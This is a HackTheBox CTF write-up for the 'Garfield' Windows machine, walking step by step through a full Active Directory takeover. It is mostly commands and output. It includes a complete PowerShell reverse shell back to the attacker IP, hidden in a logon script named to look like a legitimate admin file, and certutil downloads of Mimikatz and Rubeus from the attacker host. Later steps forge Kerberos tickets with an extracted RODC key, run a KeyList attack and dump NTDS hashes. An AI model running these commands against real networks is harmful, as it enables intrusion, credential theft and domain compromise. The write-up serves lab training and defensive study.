Overview

Garfield is a Hard-difficulty Windows machine on HackTheBox built around an Active Directory environment. The attack chain starts from a set of provided credentials for a low-privileged domain user and progresses through a series of escalation steps: abusing writable ACLs to plant a malicious logon script, resetting a Tier 1 administrator password, pivoting to an internal Read-Only Domain Controller (RODC) through a tunnel, abusing Resource-Based Constrained Delegation (RBCD) to reach SYSTEM on the RODC, extracting the RODC-specific krbtgt_8245 Kerberos key, manipulating the RODC replication policy, forging an RODC Golden Ticket, and finally using a KeyList attack to obtain a fully trusted Administrator TGT from the primary DC.

Captured Flags

FlagValue
User507962c068a36xxxxxxxxxxxxxxxxx
Root9490fac0230b0xxxxxxxxxxxxxxxxx

Lab Details

ItemValue
Target IP10.129.20.xxx
Attacker IP10.10.14.xxx
Domaingarfield.htb
Primary DCDC01.garfield.htb
Internal RODCRODC01.garfield.htb / 192.168.100.2
Initial Credentialsj.arbuckle : Th1sD4mnC4t!@1978

Attack Chain

flowchart TD A["Domain User: j.arbuckle\n(Provided Credentials)"] B["Writable ACLs on l.wilson and l.wilson_adm\n(bloodyAD enumeration)"] C["scriptPath Abuse on l.wilson\n(Malicious logon script via SYSVOL)"] D["Reverse Shell as l.wilson on DC01"] E["Password Reset of l.wilson_adm\n(Set-ADAccountPassword)"] F["WinRM Shell as l.wilson_adm\n(Tier 1 Admin)"] G["Add l.wilson_adm to RODC Administrators"] H["Pivot to RODC01 (192.168.100.2)\n(Ligolo tunnel)"] I["Create Fake Machine Account FAKE$\n(SeMachineAccountPrivilege)"] J["Configure RBCD on RODC01\n(FAKE$ delegates to RODC01)"] K["Impersonate Administrator to RODC01\n(impacket-getST + S4U2Proxy)"] L["SYSTEM on RODC01\n(impacket-psexec)"] M["Dump krbtgt_8245 AES256 Key\n(Mimikatz lsadump::lsa)"] N["Modify RODC Replication Policy\n(PowerView msDS-RevealOnDemandGroup)"] O["Forge RODC Golden Ticket\n(Rubeus golden /rodcNumber:8245)"] P["KeyList Attack on DC01\n(Rubeus asktgs /keyList)"] Q["Real Administrator TGT"] R["NTDS Dump via nxc\n(Full domain compromise)"] S["Evil-WinRM as Administrator\n(root.txt)"] A --> B --> C --> D --> E --> F --> G --> H --> I --> J --> K --> L --> M --> N --> O --> P --> Q --> R --> S style A fill:#1e3a5f,color:#fff,stroke:#4a90d9 style B fill:#1e3a5f,color:#fff,stroke:#4a90d9 style C fill:#1e3a5f,color:#fff,stroke:#4a90d9 style D fill:#1e3a5f,color:#fff,stroke:#4a90d9 style E fill:#1e3a5f,color:#fff,stroke:#4a90d9 style F fill:#1e3a5f,color:#fff,stroke:#4a90d9 style G fill:#2a4a2a,color:#fff,stroke:#5a9a5a style H fill:#2a4a2a,color:#fff,stroke:#5a9a5a style I fill:#2a4a2a,color:#fff,stroke:#5a9a5a style J fill:#2a4a2a,color:#fff,stroke:#5a9a5a style K fill:#2a4a2a,color:#fff,stroke:#5a9a5a style L fill:#4a3a1e,color:#fff,stroke:#d4a030 style M fill:#4a3a1e,color:#fff,stroke:#d4a030 style N fill:#4a3a1e,color:#fff,stroke:#d4a030 style O fill:#7a1f1f,color:#fff,stroke:#e05252 style P fill:#7a1f1f,color:#fff,stroke:#e05252 style Q fill:#7a1f1f,color:#fff,stroke:#e05252 style R fill:#7a1f1f,color:#fff,stroke:#e05252 style S fill:#7a1f1f,color:#fff,stroke:#e05252

1. Recon

1.1 Set Environment Variables

Before starting, export the target values as shell variables so they can be reused consistently throughout every command.

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ export TARGET_IP="10.129.20.167"
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ export ATTACKER_IP="10.10.14.241"
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ export DOMAIN="garfield.htb"
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ export USER="j.arbuckle"
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ export PASS='Th1sD4mnC4t!@1978'
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ echo "$TARGET_IP DC01.garfield.htb garfield.htb" | sudo tee -a /etc/hosts

1.2 Port Scan

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ nmap -sC -sV $TARGET_IP

Output:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

clock-skew: +8h

nmap-scan

The scan confirms this is a domain controller. The key exposed services are WinRM on 5985/tcp, SMB on 445/tcp, LDAP on 389/tcp, and Kerberos on 88/tcp. The clock skew of 8 hours is worth noting as it can cause Kerberos authentication failures if not handled early.


2. Validate Initial Credentials

2.1 Enumerate SMB Shares

Use the provided credentials to confirm they are valid and check SMB share permissions.

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ nxc smb $TARGET_IP -u $USER -p "$PASS" --shares

Output:

SMB  10.129.20.167  445  DC01  [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB  10.129.20.167  445  DC01  Share      Permissions
SMB  10.129.20.167  445  DC01  IPC$       READ
SMB  10.129.20.167  445  DC01  NETLOGON   READ
SMB  10.129.20.167  445  DC01  SYSVOL     READ

Credentials are valid. Read access to SYSVOL is important because the domain logon scripts are stored there, and this access will be used later to plant a reverse shell payload.


3. ACL Enumeration

3.1 Find Writable Active Directory Objects

With valid credentials, use bloodyAD to enumerate any Active Directory objects that j.arbuckle has write permissions over.

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ bloodyAD --host $DOMAIN -u $USER -p "$PASS" get writable

Relevant findings:

  • Liz Wilson (account: l.wilson)
  • Liz Wilson ADM (account: l.wilson_adm)

j.arbuckle has write access to both user objects. The practical exploitation path here is:

  1. Write a malicious scriptPath attribute on l.wilson to gain code execution when she authenticates.
  2. Use l.wilson’s session later to reset the password on l.wilson_adm.

4. Exploit Logon Script via scriptPath

Active Directory supports a scriptPath attribute on user objects. When set, the specified script in the NETLOGON or SYSVOL\scripts directory is executed automatically when that user logs on. Because j.arbuckle has write access to l.wilson’s object and write access to SYSVOL, both conditions needed for this attack are met.

4.1 Generate a Base64-Encoded PowerShell Reverse Shell

The payload is a standard TCP reverse shell written in PowerShell, encoded as UTF-16LE and then base64-encoded to bypass execution policy restrictions.

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ echo '$client = New-Object System.Net.Sockets.TCPClient("'"$ATTACKER_IP"'",9001);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback=(iex $data 2>&1|Out-String);
$sendback2=$sendback+"PS "+(pwd).Path+"> ";
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()' | iconv -t UTF-16LE | base64 -w0

Copy the output and use it as <BASE64_PAYLOAD> in the next step.

4.2 Create the Batch Script

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ cat > /tmp/printerDetect.bat << 'EOF'
@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Enc <BASE64_PAYLOAD>
EOF

The filename printerDetect.bat is chosen to blend in with legitimate administrative scripts that might exist on the share.

4.3 Upload the Script to SYSVOL

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ smbclient //$TARGET_IP/SYSVOL -U $USER%"$PASS"

Inside smbclient:

cd garfield.htb\scripts
put /tmp/printerDetect.bat printerDetect.bat
dir
exit

Output:

putting file /tmp/printerDetect.bat as \garfield.htb\scripts\printerDetect.bat

4.4 Set the scriptPath Attribute on l.wilson

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ bloodyAD --host $DOMAIN -u $USER -p "$PASS" \
set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" \
scriptPath -v printerDetect.bat

Output:

[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated

This tells the DC that whenever l.wilson authenticates, the domain controller will execute printerDetect.bat in her security context.

4.5 Start the Listener and Catch the Shell

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ nc -lvnp 9001 or penelope -p 9001

Wait for l.wilson to authenticate. The shell will arrive shortly.

Output:

connect to [10.10.14.241] from (UNKNOWN) [10.129.20.167] 51335
whoami
garfield\l.wilson
hostname
DC01
pwd

Path
----
C:\Windows\system32

penelope-shell

Code execution as garfield\l.wilson on DC01 is confirmed.


5. Lateral Movement to l.wilson_adm

5.1 Reset the l.wilson_adm Password

From the active l.wilson reverse shell session, use Set-ADAccountPassword to reset the password on l.wilson_adm. This works because j.arbuckle granted write access over l.wilson_adm and l.wilson’s shell inherits those delegation paths through domain object writes.

Set-ADAccountPassword -Identity "l.wilson_adm" -NewPassword (ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force) -Reset

5.2 Validate WinRM Access

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ nxc winrm $TARGET_IP -u l.wilson_adm -p 'WhoKnows123!'

Output:

WINRM  10.129.20.167  5985  DC01  [+] garfield.htb\l.wilson_adm:WhoKnows123! (Pwn3d!)

5.3 Open a WinRM Shell

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ evil-winrm -i 10.129.20.167 -u l.wilson_adm -p 'WhoKnows123!'

Output:

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents>

5.4 Read the User Flag

cd C:\Users\l.wilson_adm\Desktop
type user.txt

Output:

507962c068a3xxxxxxxxxxxxxxxxxx

garfield-user-flag


6. Confirm Tier 1 Privileges

6.1 Check Groups and Token Privileges

whoami /groups
whoami /priv

Key findings:

  • Member of the Tier 1 administrative group.
  • Holds SeMachineAccountPrivilege, which allows creating new computer objects in the domain. This privilege is required for the RBCD attack in the next phase.

7. Add l.wilson_adm to RODC Administrators

From the active WinRM shell:

Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"

The command completes silently, indicating success. Membership in RODC Administrators will allow authenticating to the internal RODC01 machine, which is otherwise restricted to a subset of domain accounts.


8. Pivot to Internal RODC01

RODC01 exists on an internal subnet (192.168.100.0/24) that is not directly accessible from the attacker machine. A tunnel must be set up through DC01 to route traffic to it.

8.1 Confirm RODC01 is Reachable from DC01

From the WinRM shell on DC01:

ping 192.168.100.2

Output:

Reply from 192.168.100.2: bytes=32 time<1ms TTL=128

DC01 can reach RODC01 directly. The pivot will route attacker traffic through DC01.

8.2 Set Up Ligolo-ng Proxy on Kali

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ tar -xzf ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ sudo ip tuntap add user root mode tun ligolo
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ sudo ip link set ligolo up
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ ./proxy -selfcert -laddr 0.0.0.0:11601

Output:

INFO[0000] Listening on 0.0.0.0:11601
INFO[0116] Agent joined. id=00155d0bdd00 name="GARFIELD\\l.wilson_adm@DC01"

8.3 Run the Ligolo Agent from WinRM

Upload or serve the Ligolo agent binary to DC01 first, then execute it from the WinRM shell:

.\agent.exe -connect 10.10.14.241:11601 -ignore-cert

8.4 Add the Route on Kali

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ sudo ip route add 192.168.100.0/24 dev ligolo
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ ping 192.168.100.2

Output:

64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=112 ms

The internal subnet is now reachable from the attacker machine through the Ligolo tunnel.


9. Confirm Access to RODC01

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ nxc smb 192.168.100.2 -u l.wilson_adm -p 'WhoKnows123!'

Output:

SMB  192.168.100.2  445  RODC01  [+] garfield.htb\l.wilson_adm:WhoKnows123!

l.wilson_adm can authenticate to RODC01 via SMB, confirming that the RODC Administrators group membership is in effect.


10. Create a Fake Machine Account

Resource-Based Constrained Delegation requires a principal that can be delegated to. Creating a controlled computer object in the domain satisfies this requirement. SeMachineAccountPrivilege (confirmed earlier) allows domain users to add up to 10 machine accounts by default.

10.1 Add a Computer Object

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ impacket-addcomputer garfield.htb/l.wilson_adm:'WhoKnows123!' \
-computer-name 'FAKE$' \
-computer-pass 'FakePass123!' \
-dc-ip 10.129.20.167

10.2 Verify the Account Exists

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ nxc ldap 10.129.20.167 -u l.wilson_adm -p 'WhoKnows123!' --users | grep FAKE

11. Configure RBCD on RODC01

Resource-Based Constrained Delegation (RBCD) is configured on the target resource (RODC01) to trust the attacker-controlled machine account (FAKE$) for delegation. This means FAKE$ is permitted to request service tickets on behalf of any user to RODC01.

11.1 Set the Delegation Attribute from the WinRM Shell

Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount FAKE$

11.2 Verify Configuration

Get-ADComputer RODC01 -Properties PrincipalsAllowedToDelegateToAccount

Output:

PrincipalsAllowedToDelegateToAccount : {CN=FAKE,CN=Computers,DC=garfield,DC=htb}

RBCD is correctly configured.


12. Impersonate Administrator to RODC01

With RBCD in place, use impacket-getST to perform an S4U2Self followed by S4U2Proxy, impersonating the domain Administrator account for a CIFS service ticket to RODC01.

12.1 Request the Service Ticket

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ impacket-getST garfield.htb/'FAKE$':'FakePass123!' \
-spn cifs/RODC01.garfield.htb \
-impersonate Administrator \
-dc-ip 10.129.20.167

Output:

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

12.2 Export the Ticket

┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ export KRB5CCNAME=$(pwd)/Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
┌─[havoc@havocsec]─[~/Downloads/htb/season10/garfield]
└──╼ $ echo $KRB5CCNAME

12.3 Get SYSTEM on RODC01

impacket-psexec -k -no-pass \
-dc-ip 10.129.20.167 \
-target-ip 192.168.100.2 \
garfield.htb/Administrator@RODC01.garfield.htb

Output:

[*] Found writable share ADMIN$
[*] Uploading file ...
[*] Opening SVCManager ...
[*] Creating service ...
[*] Starting service ...
Microsoft Windows [Version 10.0.17763.8511]

C:\Windows\system32> whoami
nt authority\system

SYSTEM access on RODC01 is confirmed.


13. Dump the krbtgt_8245 AES256 Key

A Read-Only Domain Controller maintains its own separate Kerberos key, named krbtgt_<RODCID>. The RODC number is a unique identifier assigned when the RODC is promoted. Extracting the AES256 key for this account from the RODC’s own LSA secrets is the foundation for forging an RODC Golden Ticket.

13.1 Serve Mimikatz from Kali

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe /tmp/
cd /tmp
python3 -m http.server 8888

13.2 Download and Run Mimikatz on RODC01

mimikatz

From the SYSTEM shell on RODC01:

cd C:\Windows\Temp
certutil -urlcache -split -f http://10.10.14.241:8888/mimikatz.exe mimikatz.exe
mimikatz.exe

Inside Mimikatz:

privilege::debug
lsadump::lsa /inject /name:krbtgt_8245

Output:

Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 00000643 (1603)
User : krbtgt_8245

 * Kerberos-Newer-Keys
    Default Salt : GARFIELD.HTBkrbtgt_8245
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
      aes128_hmac       (4096) : 124c0fd09f5fa4efca8d9f1da91369e5

Critical values to note:

ItemValue
AES256 Keyd6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
Domain SIDS-1-5-21-2502726253-3859040611-225969357
RODC Number8245

14. Modify RODC Password Replication Policy

By default, a RODC will only cache passwords for accounts explicitly allowed in its msDS-RevealOnDemandGroup attribute. The Administrator account is not in this list by default. To ensure the KeyList attack succeeds, the replication policy must be modified to allow the Administrator’s credentials to be cached or revealed by the RODC.

14.1 Load PowerView in the WinRM Shell

On Kali, serve PowerView:

cd /usr/share/windows-resources/powersploit/Recon/
python3 -m http.server 8888

In the l.wilson_adm WinRM session:

cd C:\Users\l.wilson_adm\Desktop
certutil -urlcache -split -f http://10.10.14.241:8888/PowerView.ps1 PowerView.ps1
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerView.ps1

14.2 Allow Administrator in the RODC Replication Policy

Set-DomainObject -Identity RODC01$ -Set @{
  'msDS-RevealOnDemandGroup'=@(
    'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
    'CN=Administrator,CN=Users,DC=garfield,DC=htb'
  )
}
Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'
Get-ADComputer RODC01 -Properties msDS-RevealOnDemandGroup,msDS-NeverRevealGroup

Output:

msDS-RevealOnDemandGroup : {CN=Allowed RODC Password Replication Group,..., CN=Administrator,...}

The replication policy is correctly modified. The RODC will now include Administrator in its reveal-on-demand group, which is required for a KeyList request to succeed.


15. Forge an RODC Golden Ticket and Perform a KeyList Attack

Background

An RODC Golden Ticket is a forged TGT signed by the RODC-specific krbtgt_8245 key rather than the main krbtgt key. On its own, this ticket is only trusted by the RODC and not the primary DC. However, a KeyList request allows presenting this RODC-signed ticket to the primary DC and asking it to issue a full, trusted TGT by revealing the Administrator’s actual credentials from the RODC’s replication cache. This makes the KeyList attack the critical step that converts RODC compromise into full domain compromise.

flowchart TD A["RODC krbtgt_8245 AES256 Key\n(extracted from RODC01 LSA)"] B["Rubeus golden /rodcNumber:8245\n(Forged TGT for Administrator)"] C["RODC-Signed TGT\n(trusted only by RODC01)"] D["Rubeus asktgs /keyList\n(Present forged TGT to DC01)"] E["DC01 reveals Administrator credentials\nvia RODC replication"] F["Real Administrator TGT\n(trusted by primary DC)"] G["Full Domain Compromise"] A --> B --> C --> D --> E --> F --> G style A fill:#1e3a5f,color:#fff,stroke:#4a90d9 style B fill:#1e3a5f,color:#fff,stroke:#4a90d9 style C fill:#4a3a1e,color:#fff,stroke:#d4a030 style D fill:#4a3a1e,color:#fff,stroke:#d4a030 style E fill:#7a1f1f,color:#fff,stroke:#e05252 style F fill:#7a1f1f,color:#fff,stroke:#e05252 style G fill:#7a1f1f,color:#fff,stroke:#e05252

15.1 Get Rubeus

On Kali:

wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/Rubeus.exe -O /tmp/Rubeus.exe
cd /tmp
python3 -m http.server 8888

In WinRM:

certutil -urlcache -split -f http://10.10.14.241:8888/Rubeus.exe Rubeus.exe
.\Rubeus.exe

Version confirmed: v2.3.3

15.2 Forge the RODC Golden Ticket

.\Rubeus.exe golden `
/rodcNumber:8245 `
/flags:forwardable,renewable,enc_pa_rep `
/nowrap `
/outfile:ticket.kirbi `
/aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 `
/user:Administrator `
/id:500 `
/domain:garfield.htb `
/sid:S-1-5-21-2502726253-3859040611-225969357

Output:

[*] Forged a TGT for 'Administrator@garfield.htb'
[*] Ticket written to ticket_2026_04_06_00_56_46_Administrator_to_krbtgt@GARFIELD.HTB.kirbi

The /rodcNumber flag is what distinguishes this from a standard Golden Ticket. It encodes the RODC identifier into the ticket’s PAC, signaling to the primary DC that this was issued by the RODC and triggering the KeyList lookup mechanism.

15.3 Perform the KeyList Attack

.\Rubeus.exe asktgs `
/enctype:aes256 `
/keyList `
/service:krbtgt/garfield.htb `
/dc:DC01.garfield.htb `
/ticket:ticket_2026_04_06_00_56_46_Administrator_to_krbtgt@GARFIELD.HTB.kirbi `
/nowrap

Output:

[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFnjCCBZqgAwIBBaEDAgEWooIEsTCCBK1hggSpMIIEpaADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMR0FSRklFTEQuSFRCo4IEaTCCBGWgAwIBEqEDAgEC...

A real Administrator TGT has been issued by DC01.


16. Convert the Ticket on Kali

16.1 Save the Base64 Blob

nano /tmp/ticket.b64

Paste only the base64 string from the Rubeus output, without any surrounding whitespace or headers.

16.2 Decode the Base64 and Write the .kirbi File

sed -i 's/^[[:space:]]*//' /tmp/ticket.b64
tr -d '\r\n\t ' < /tmp/ticket.b64 | base64 -d > /tmp/ticket.kirbi
ls -l /tmp/ticket.kirbi
xxd -l 8 /tmp/ticket.kirbi

Output:

-rw-r--r-- 1 root root 1442 Apr  5 21:00 ticket.kirbi
00000000: 7682 059e 3082 059a  v...0...

The magic bytes confirm the file is a valid Kerberos ticket structure.

16.3 Convert to ccache Format

Impacket tools expect credentials in ccache format rather than kirbi.

impacket-ticketConverter /tmp/ticket.kirbi /tmp/ticket.ccache
export KRB5CCNAME=/tmp/ticket.ccache
echo $KRB5CCNAME

17. Dump NTDS with the Real Administrator Ticket

nxc smb DC01.garfield.htb --use-kcache --ntds

Output:

[+] GARFIELD.HTB\Administrator from ccache (Pwn3d!)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee238f6debc752010428f20875b092d5:::
Guest:501:...
krbtgt:502:...
krbtgt_8245:1603:...
garfield.htb\j.arbuckle:...
garfield.htb\l.wilson:...
garfield.htb\l.wilson_adm:...
DC01$:...
RODC01$:...
FAKE$:...

Administrator NT hash: ee238f6debc752010428f20875b092d5


18. Final Shell and Root Flag

evil-winrm -i 10.129.20.167 -u Administrator -H 'ee238f6debc752010428f20875b092d5'

Inside the shell:

whoami
type C:\Users\Administrator\Desktop\root.txt

Output:

garfield\administrator
9490facxxxxxxxxxxxxxxxx

penelope-root-shell


thankyou-pwned-it


Key Takeaways

ACL Write Access Is the Starting Point, Not the End

Multiple writable ACL edges existed on this machine, but the practical exploitation path came down to two specific attributes: a writable scriptPath on l.wilson for initial code execution, and a writable password attribute on l.wilson_adm for lateral movement. Mapping the theoretical graph is useful, but understanding which edges actually lead somewhere is what matters.

RODCs Have Their Own Kerberos Key

A Read-Only Domain Controller does not share the main krbtgt key used by the primary DC. It maintains its own separate key, named krbtgt_<RODCID>. Forging a ticket with this key produces a TGT that the primary DC recognises as RODC-issued and can act on through the KeyList mechanism, but the ticket itself is not trusted for general use. Knowing this distinction is what separates a dead-end from a full compromise.

KeyList Is the Actual Win Condition

Forging an RODC Golden Ticket alone does not give access to the primary DC. The critical step is using that forged ticket in a KeyList request, which instructs DC01 to reveal the Administrator’s cached credentials from the RODC replication policy. Without the replication policy modification performed earlier, this request would fail silently.

Ticket File Hygiene

Several failures during this box were caused by minor ticket handling issues: extra whitespace in the base64 blob, mismatched filenames between the Rubeus output and the KRB5CCNAME variable, and CRLF line endings corrupting the decoded kirbi file. Stripping whitespace with tr and verifying the file structure with xxd before proceeding avoids these issues.

SeMachineAccountPrivilege Is Underestimated

This privilege is often overlooked during enumeration. On this machine it was the direct enabler of the RBCD attack by allowing creation of the FAKE$ machine account without needing Domain Admin rights. It appears in many Tier 1 and Tier 2 service accounts and should always be flagged during privilege assessment.


Disclaimer

This writeup is intended for HackTheBox lab use, internal training, and defensive understanding of Active Directory attack paths only. All techniques described were performed in an isolated lab environment against a machine owned by HackTheBox.